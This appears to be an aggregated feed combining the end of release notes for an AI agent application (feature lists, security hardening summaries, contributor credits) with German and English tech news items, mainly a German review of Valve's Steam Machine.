Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

/subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
/model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
--safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
dynamic-workflow orchestration skill (landed, then reverted) — not shipping
memory provider-actions extension point (landed, then reverted) — not shipping
Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

@teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
@OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
@kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
@ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
@benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
@alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
@helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
@austinpickett — desktop custom endpoint settings
@SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

@srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
@HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
@UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
@xxxigm — leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
@erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
@Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
@necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
@DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
@shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
@vishal-dharm — Gemini request-context improvements
@PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
@alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

OddOne: Neues minimalistisches Indie-Puzzle setzt auf freiwilligen Obolus

Mon, 20 Jul 2026 14:40:18 +0200

Wir freuen uns immer wieder, wenn Indie- oder Solo-Entwickler bzw.-Entwicklerinnen auf uns zukommen und uns ihre neuen Projekte vorstellen. So auch nun geschehen mit Lucas Hesseldieck aus dem süddeutschen München, der in Eigenarbeit das minimalistische Puzzle-Game OddOne entwickelt und in den deutschen App Store gebracht hat. OddOne (App Store-Link) steht als Gratis-Anwendung für iPhones und […]

Der Beitrag OddOne: Neues minimalistisches Indie-Puzzle setzt auf freiwilligen Obolus erschien zuerst auf appgefahren.de.

Game development diary: Crunch and preparing to launch

Mon, 20 Jul 2026 14:40:17 +0200

The Steam launch of "Character Limit" looms thanks to a final push to get the game ready. However, while it's "done" enough for people to play, there's still the problem of actually releasing it.

The full game is in Steam, awaiting launch.

It is safe to say that developing a word game like this wasn't meant to take a year. The first installment of this series was posted on July 28, 2025.

The math is easy to figure out how long it's been since I started.

Continue Reading on AppleInsider | Discuss on our Forums

Meine neue Steam Machine ist ganz nett, aber leider eine große Enttäuschung

Mon, 20 Jul 2026 14:20:39 +0200

Ich habe diese Woche meine Steam Machine erhalten. Ich finde sie irgendwie toll, und doch bin ich von ihr enttäuscht. Es mag unfair sein, Valve die Schuld für die derzeitigen Probleme in der PC-Hardware-Branche zu geben … aber fair oder nicht: Die Steam Machine macht bei ihrem Preis einfach keinen Sinn – weder als erschwinglicher Gaming-PC noch als Alternative zu Spielekonsolen.

Das Positive: Einfacher Zugriff auf SteamOS und meine Steam-Bibliothek

Die Steam Machine ist auf den ersten Blick wirklich bezaubernd. Es handelt sich um einen Würfel mit einer Kantenlänge von circa 15 Zentimetern, der standardmäßig schwarz ist und durch eine austauschbare Kunststofffrontblende sowie eine LED-Anzeigeleiste an der Unterseite ein wenig Charakter erhält. Damit sieht sie aus, als hätten mein Gaming-PC und mein GameCube aus dem Jahr 2001 ein gemeinsames Kind gezeugt.

Dank des zurückhaltenden Designs fügt es sich nahtlos in eine Büroeinrichtung (im Grunde handelt es sich um einen klobigen Mini-PC) oder ein elegantes Entertainment-Center ein. Sie können es jedoch mit einer individuellen Frontblende aufpeppen, wenn Sie möchten – ich habe bereits ein Auge auf ein 3D-gedrucktes „GabeCube“-Design geworfen.

Michael Crider / Foundry

Die Einrichtung im Konsolenstil verläuft zudem erstaunlich reibungslos. Schließen Sie das Gerät an die Stromversorgung und den HDMI-Anschluss an, verbinden Sie einen Controller und richten Sie eine WLAN-Verbindung sowie die Steam-Anmeldung ein. Ich war zwar etwas enttäuscht, als ich die üblichen automatischen Updates im PC-Stil sowohl für die Steam Machine als auch für den Steam Controller sah, aber so läuft es heutzutage nun einmal.

In weniger als 20 Minuten lud ich bereits Spiele herunter – ich begann mit Hades II – und wartete darauf, dass weitere im Hintergrund heruntergeladen wurden. Der Einrichtungsvorgang fühlt sich mehr oder weniger identisch an wie der, an den ich mich von meinem ersten Start der PS5 vor etwa vier Jahren erinnere.

Der größte Unterschied zu dieser Erfahrung besteht darin, dass die Steam Machine meiner Meinung nach etwas kleiner ist als meine klobige PS5. Vielleicht ist das kein fairer Vergleich, da die PS5 über ein Laufwerk verfügt … aber sie hat auch eine APU-Konfiguration und ist in Bezug auf die Hardware bei weitem nicht so leicht zugänglich.

Die Steam Machine ist zudem unglaublich leise. Selbst wenn ich sie mit den grafikintensivsten Spielen voll auslastete, konnte ich ihren Betrieb aus einer Entfernung von einem Meter kaum hören.

Michael Crider / Foundry

Wenn Sie bereits mit einem Steam Deck experimentiert oder sich selbst eines zusammengebaut haben, wird Ihnen das alles sehr vertraut vorkommen. Valve hat sowohl bei der Steam-Plattform selbst als auch bei SteamOS beeindruckende Arbeit geleistet, um das System reibungslos und nahtlos zu gestalten. Mit dem Steam-Controller wird es sogar noch besser, obwohl jedes handelsübliche Xbox-kompatible Gamepad einwandfrei funktioniert, wenn Sie die Touchpads oder die Gyro-Steuerung nicht benötigen.

Leistung – einige Höhen und Tiefen

Ich habe einen neuen Durchgang in Absolum gestartet, einem meiner Favoriten aus dem letzten Jahr, um einen Eindruck von der allgemeinen Spielatmosphäre zu gewinnen. Ich habe dieses Spiel komplett an meinem Schreibtisch durchgespielt. Die Grafik in diesem Titel ist absolut umwerfend, allerdings handelt es sich um reines 2D – oder um eine Art von 3D, die so subtil ist, dass sie praktisch unsichtbar ist.

Wie zu erwarten war, bewältigte die Steam Machine mit ihrer AMD-CPU der Mittelklasse und der dedizierten GPU dieses Spiel in 4K völlig ruckelfrei.

Michael Crider / Foundry

Das ist keine Überraschung. Hades II liegt technisch in etwa auf dem gleichen Niveau und bietet eine ganze Reihe von 3D-Modellen und Effekten auf dem Bildschirm. Auch weniger anspruchsvolle 3D-Spiele liefen butterweich – und God of Weapons funktionierte auf der Steam Machine sogar besser als auf meinem hochmodernen Gaming-PC, da ich aufgrund eines Problems mit meiner Windows-Konfiguration den Controller dort nie zum Laufen bringen konnte. Unter SteamOS lief alles reibungslos. Zeit für eine etwas größere Herausforderung.

Ich habe eines meiner Lieblings-Open-World-Spiele auf der Steam Machine getestet: Horizon: Zero Dawn. Das war seinerzeit ein Vorzeigetitel für die PS4, und die PS5-Remaster-Version erhielt eine PC-Portierung, die absolut umwerfend ist. Es ist zudem erstaunlich gut optimiert und läuft auch auf Handhelds ohne größere Probleme. Und auch auf der Steam Machine macht es eine gute Figur.

Ich habe die Auflösung auf 4K erhöht, die Grafik auf „hoch“ eingestellt und zusätzlich AMD FSR aktiviert, denn genau für solche filmreifen Meisterwerke wurde diese Technik entwickelt. Die Steam Machine bewältigte das Spiel sogar noch besser, als ich erwartet hatte: Im integrierten Benchmark erreichte sie 59 FPS und im Open-World-Spiel, in dem man gegen komplexe Robotermonster kämpft, konstant 50 bis 60 FPS.

Michael Crider / Foundry

Zeit, das Tempo zu erhöhen. Ich habe mein neues Lieblingsspiel aus diesem Jahr gestartet: Dead as Disco. Dabei handelt es sich um ein Spiel auf Basis der Unreal Engine 5, das kleine Arenen und jeweils nur etwa ein Dutzend Charaktere auf dem Bildschirm zeigt, dafür aber mit beeindruckenden Effekten aufwartet, um dem musikalischen Beat-’em-up-Gameplay zusätzliche Atmosphäre zu verleihen.

Es ist zudem ein hervorragendes Beispiel dafür, wie wichtig Stabilität und Laufruhe beim Gaming sind; schon ein paar Ruckler reichen aus, um den Groove zu stören. Dies war das erste Spiel, das bei 4K Schwierigkeiten hatte, wobei die Bildrate in den Bereich von 30–45 FPS abfiel und mich auf der Tanzfläche etwas weniger tödlich machte.

Michael Crider / Foundry

Um eine ideale Mischung aus Grafik und Leistung zu erzielen, musste ich die Auflösung auf 1080p herunterstufen – eine echte Schande auf meinem schicken LG-OLED-Fernseher. Der erste Kompromiss, aber nicht der letzte. Das derzeitige „Schwergewicht“ in meiner Steam-Bibliothek ist, passenderweise, Space Marine 2. Dieser Titel aus dem Jahr 2024 strotzt nur so vor Echtzeit-Action, zeigt Hunderte von Kreaturen gleichzeitig auf dem Bildschirm und überwältigt einen regelrecht mit jeder grafischen Raffinesse. Bei den standardmäßigen automatischen Einstellungen schaffte es das Spiel gerade so, in der Intro-Mission 60 FPS zu erreichen.

Dann habe ich die Auflösung auf 4K erhöht, da die Einstellungen für die Steam Machine 1080p automatisch ausgewählt hatten. Was sich letztlich als die richtige Entscheidung herausstellte. Denn bei 4K sank die Bildrate auf etwa 15–20 FPS, was das Gameplay erheblich beeinträchtigte. Mit ein wenig Feineinstellung im Grafikmenü gelang es mir, die Bildrate auf etwa 30 FPS zu steigern … was immer noch nicht besonders gut ist, vor allem, wenn man am Multiplayer-Modus teilnehmen möchte. Also bleibt es bei 1080p.

Michael Crider / Foundry

Diese Ergebnisse entsprechen in etwa meinen Erwartungen, wenn man die verfügbare Hardware berücksichtigt, die sich seit der Ankündigung der Steam Machine aufgrund einer enttäuschenden Herabstufung auf Single-Channel-RAM sogar noch verschlechtert hat. Im Vergleich zur Konkurrenz liegt das Gerät in etwa auf dem Niveau der PS5, obwohl es in der Basisausstattung bei beiden etwas weniger als das Doppelte kostet.

Dies ist aus vielen Gründen kein direkter Vergleich – Steam übertrifft Playstation beispielsweise bei der Spielauswahl um eine Größenordnung. Aber fast doppelt so viel für eine ähnliche Leistung zu bezahlen, sieht nicht gut aus, wie man es auch dreht und wendet.

Die negativen Aspekte: ein mittelmäßiges Mediengerät und Streaming-Gerät

SteamOS ist großartig. Ich bin immer noch davon überzeugt, dass es die Zukunft des PC-Gamings sein könnte. Aber es steht auch immer noch ziemlich eindeutig auf der „PC“-Seite der Kluft zwischen PC und Konsole. Trotz jahrelanger Arbeit von Valve gibt es immer noch einige Schwachstellen, die behoben werden müssen.

Als ich beispielsweise meine Steam Machine an meinen Fernseher anschloss, erwartete ich, dass sie von Haus aus mit einem Surround-Sound-System funktionieren würde. Das tut sie auch irgendwie. Ich erhalte Ton aus den hinteren Lautsprechern, aber in keinem der von mir getesteten Spiele scheint tatsächlich eine Surround-Sound-Zuordnung zu erfolgen. Ich werfe also einen Blick in das SteamOS-Einstellungsmenü, und dort steht lediglich, dass der Ton über HDMI ausgegeben wird. Die individuellen Spieleinstellungen sind wenig hilfreich.

Michael Crider / Foundry

Das ist ein Problem, das ich wahrscheinlich mit etwas zusätzlichem Aufwand beheben könnte. Aber das sollte eigentlich nicht nötig sein – wenn Valve dieses Gerät als Gaming-Gerät für Ihr Wohnzimmer positioniert, sollte es automatisch funktionieren, vielleicht nach fünf Minuten der Feinabstimmung der Einstellungen. Bei der PS5 funktioniert das so. Und der Steam Machine fehlen einige der unverzichtbaren Tools für ein Gerät, das als Unterhaltungszentrum dienen soll. Ich kann beispielsweise weder Netflix noch Disney+ aufrufen, ohne zunächst einen Browser zu öffnen.

Das tendiert jedoch eher zur Konsolenseite. Ich habe mich daher entschlossen, den Fokus auf den PC-Gaming-Aspekt zu legen. Ich habe einen ziemlich leistungsstarken PC in meinem Büro, und SteamOS verfügt über eine direkt integrierte lokale Streaming-Funktion. Dieses Gerät kann Space Marine 2 mit voller Leistung ausführen und meinen 240-Hz-Monitor mit einer Auflösung von 3440 × 1440 problemlos voll auslasten. Warum also nicht einfach per Fernzugriff spielen?

Weil es einen zwei Jahre alten Fehler gibt, der das Streamen von Space Marine 2 über Steam verhindert, deshalb. Ich begann, das Spiel zu streamen, und es wurde standardmäßig auf die Ultrawide-Auflösung meines PCs eingestellt. Nicht ideal, aber das lässt sich auf verschiedene Weise beheben. Aber ich kann das Problem nicht beheben, wenn ich das Spiel nicht steuern kann. Und das kann ich nicht, da die Gamepad-Eingaben aus der Ferne einfach nicht funktionieren – und das schon seit der Veröffentlichung.

Dabei handelt es sich nicht um irgendein obskures Indie-Spiel, sondern um einen Riesenerfolg, dessen Multiplayer-Community nach wie vor stark genug ist, um regelmäßige Inhaltsupdates zu erhalten. Ich vermute, es spielen einfach nicht genug Leute auf diese Weise, als dass es eine Rolle spielen würde.

Michael Crider / Foundry

Das Streamen anderer Spiele war, nun ja, machbar. Selbst ohne diesen lästigen Controller-Fehler (der eher bei den Spieleentwicklern als beim Gerät liegt) war es mühsam, andere Spiele von meinem Gaming-PC auf den Fernseher zu übertragen. Ich musste die Einstellungen viel sorgfältiger vornehmen; es gab keine Möglichkeit, die Auflösung auf volle 4K einzustellen, da meine Monitore maximal 1440p unterstützen, und die offensichtliche Latenz war für Spiele wie Dead as Disco nicht gerade vorteilhaft. Dies ist einfach keine optimale Art, PC-Spiele zu erleben, auch wenn es schön war, sie auf dem großen Bildschirm zu sehen.

Das ideale Steam-Machine-Spiel ist daher eines, das in Sachen 3D-Grafik nicht allzu hohe Anforderungen stellt. Und das ist ein vernichtendes Urteil für ein Produkt, das vorgibt, PC-Gaming ins Wohnzimmer zu bringen.

Das Schlimmste: ein miserables Preis-Leistungs-Verhältnis

Das große Tabuthema bei der Steam Machine war schon immer ihr Preis. Selbst bevor KI die PC-Hardware regelrecht in den Ruin trieb und wir noch davon ausgingen, dass der Preis irgendwo zwischen 600 und 900 Euro liegen würde – war das bereits eine stattliche Summe, sei es für eine Konsole oder einen Gaming-PC mittlerer Leistungsklasse. Bei einem Einstiegspreis von aktuell 1.039 Euro sieht das einfach schlecht aus.

Ich gehe davon aus, dass Valve jeden Cent eingespart hat, den es konnte, und es dennoch nicht geschafft hat, den Preis auf unter 1000 Euro zu senken. Es ist nicht Valves Schuld, dass das Jahr 2026 eine verwüstete Höllenlandschaft ist. Aber man kann normalen Käufern, die ohnehin schon zu kämpfen haben, nicht sagen, sie sollten das Marktgeschehen im größeren Zusammenhang betrachten. 1.000 Euro für einen Gaming-PC der Mittelklasse, der zudem für normale PC-Aufgaben nicht gut geeignet ist, sind kein gutes Angebot.

Sicher, man könnte einen normalen Linux-Desktop darauf installieren, einen Browser einrichten und das Gerät wie einen gewöhnlichen PC nutzen. Aber warum sollte man das tun, wenn man für denselben Preis – oder sogar weniger – einen Windows-Rechner erhalten kann, der ebenso leistungsfähig ist?

PCPartPicker.com

